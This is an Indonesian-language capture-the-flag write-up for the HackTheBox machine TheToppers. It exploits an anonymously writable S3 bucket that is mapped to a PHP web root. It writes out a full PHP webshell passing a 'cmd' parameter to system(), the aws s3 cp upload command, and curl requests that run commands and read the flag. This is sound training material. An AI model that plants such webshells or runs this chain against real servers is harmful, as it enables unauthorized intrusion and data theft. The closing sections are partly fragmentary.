Target Mesin: TheToppers.htb (HackTheBox)
Tujuan dari kegiatan pengujian penetrasi ini adalah untuk mengidentifikasi kelemahan konfigurasi pada subdomain S3 target, mengeksploitasi hak akses tulis (write permission) publik, mengunggah payload webshell PHP, serta mengeksekusi perintah jarak jauh (Remote Code Execution) guna memperoleh berkas bendera bukti kompromi (flag).
Penyimpanan objek S3 (Simple Storage Service) sering diandalkan untuk menampung data statis aplikasi web. Namun, kesalahan konfigurasi berupa pemberian izin akses tulis kepada publik (Anonymous Write) memungkinkan aktor jahat mengunggah berkas eksekusi. Ketika bucket S3 dipetakan secara langsung ke direktori akar web (web root) yang mengaktifkan interpreter backend seperti PHP, hal ini langsung membuka jalur eksploitasi Remote Code Execution (RCE). RCE adalah kerentanan tingkat kritis karena memberikan kendali penuh sistem operasi host kepada penyerang melalui antarmuka web.
sudo nano /etc/hosts
Membuka berkas konfigurasi resolusi nama host lokal menggunakan text editor nano dengan hak akses administratif.
Memetakan domain target (thetoppers.htb dan s3.thetoppers.htb) ke alamat IP mesin HTB secara lokal agar dapat diselesaikan oleh sistem.
Tampilan teks editor nano yang memuat isi berkas hosts.
Sistem lokal siap ditambahkan aturan routing DNS lokal buatan.
curl http://s3.thetoppers.htb
Mengirimkan permintaan HTTP GET ke subdomain s3.thetoppers.htb.
Memastikan subdomain penyimpanan S3 merespons dengan benar dan layanannya aktif.
{"status": "running"}
Subdomain berjalan dan menggunakan emulator/layanan penyimpanan objek yang aktif di port 80/HTTP.
aws configure
Mengonfigurasi parameter profil kredensial untuk utilitas AWS Command Line Interface.
AWS CLI membutuhkan struktur data konfigurasi dasar (meskipun berupa isian palsu/dummy) agar dapat memproses kueri API ke penyimpanan S3 lokal target.
Prompt pengisian Access Key, Secret Key, Region, dan Format output.
Alat lokal siap merumuskan perintah manajemen bucket S3.
cat > shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
}
?>
EOF
Membuat berkas bernama shell.php dan menyalin kode PHP pengeksekusi sistem di dalamnya.
Membuat backdoor sederhana berbasis web yang menerima parameter perintah 'cmd' dari penyerang.
Berkas shell.php berhasil dibuat tanpa pesan galat.
Payload backdoor siap dikirimkan ke server target.
system() akan
meneruskan string langsung ke OS Host Linux shell.
cat shell.php
Membaca dan menampilkan isi file shell.php ke terminal lokal.
Melakukan tinjauan kode cepat guna memastikan tidak ada sintaks atau karakter yang rusak sebelum diunggah.
Kode PHP persis seperti yang diinput di langkah sebelumnya.
Integritas berkas lokal terjamin.
aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
Mengunggah file shell.php ke s3 bucket target dengan mengalihkan endpoint API ke URL lokal server target.
Mengambil keuntungan dari miskonfigurasi hak akses tulis terbuka (Write Permissions) pada S3 bucket target.
upload: ./shell.php to s3://thetoppers.htb/shell.php
File backdoor berhasil diletakkan pada akar direktori web target.
curl "http://thetoppers.htb/shell.php?cmd=ls+/home"
Mengirim perintah sistem 'ls /home' lewat parameter cmd webshell.
Memastikan RCE berhasil berjalan dan mengetahui daftar nama direktori pengguna (user) di server target.
Daftar pengguna (misalnya: svc).
RCE aktif sepenuhnya dan berjalan di bawah hak akses user web (biasanya www-data).
curl "http://thetoppers.htb/shell.php?cmd=ls+-la+/home/svc"
Mencetak berkas tersembunyi dan hak milik folder pribadi user 'svc'.
Mengidentifikasi file-file sensitif, konfigurasi, atau kunci SSH pribadi untuk potensi eskalasi hak akses.
Isi lengkap beserta permissions dari /home/svc.
Penguji dapat menganalisis file mana saja yang dapat dibaca oleh user proses web server.
curl "http://thetoppers.htb/shell.php?cmd=find+/+-iname+'*flag*'+2>/dev/null"
Mencari file dengan nama "flag" tanpa memedulikan sensitivitas huruf besar/kecil di seluruh sistem.
Menemukan lokasi penyimpanan flag secara cepat tanpa harus menjelajahi direktori satu per satu.
Jalur file flag, misalnya: /var/www/flag.txt
Lokasi eksak dari sasaran utama (flag) berhasil diidentifikasi.
2>/dev/null menyederhanakan parsing data hasil
pencarian.
curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
Membaca konten teks dari file target /var/www/flag.txt.
Memperoleh string token flag guna melengkapi bukti keberhasilan penetrasi sistem secara sah.
MD5/Hex Hash String (flag target).
Serangan berhasil secara penuh dari luar sistem hingga kompromi data dalam.
Eksploitasi ini memanfaatkan kerentanan berantai (Chained Vulnerability):
Pertama, S3 Bucket dikonfigurasi secara keliru yang mengizinkan tulis
tanpa otentikasi. Kedua, lingkungan web menggunakan PHP yang
mengizinkan eksekusi fungsi OS berbahaya seperti
system() tanpa pembatasan fungsi (disable_functions pada
php.ini). Dampak nyata dari skenario ini adalah hilangnya aspek
Confidentiality (Kerahasiaan),
Integrity (Integritas), dan
Availability (Ketersediaan) karena penyerang dapat
menghapus web root, membaca berkas rahasia, atau menyematkan malware
lebih lanjut.
Pengujian penetrasi terhadap mesin TheToppers berhasil membuktikan adanya celah keamanan kritis pada kontrol akses S3 Bucket. Bukti kompromi berhasil diamankan dengan eksfiltrasi flag enkripsi berikut:
s3.thetoppers.htb pada file
/etc/hosts yang membuat utilitas AWS CLI gagal
tersambung ke endpoint tiruan target.
cat > shell.php << 'EOF', jika
melewatkan tanda kutip pada kata 'EOF', terminal shell
lokal Anda akan mengevaluasi variabel PHP
$_REQUEST sebagai variabel lokal terminal, menghasilkan
file webshell kosong di server target.
aws s3 cp tanpa menjalankan
aws configure terlebih dahulu akan memicu kesalahan
bahwa tidak ada kredensial yang dimuat oleh sistem lokal.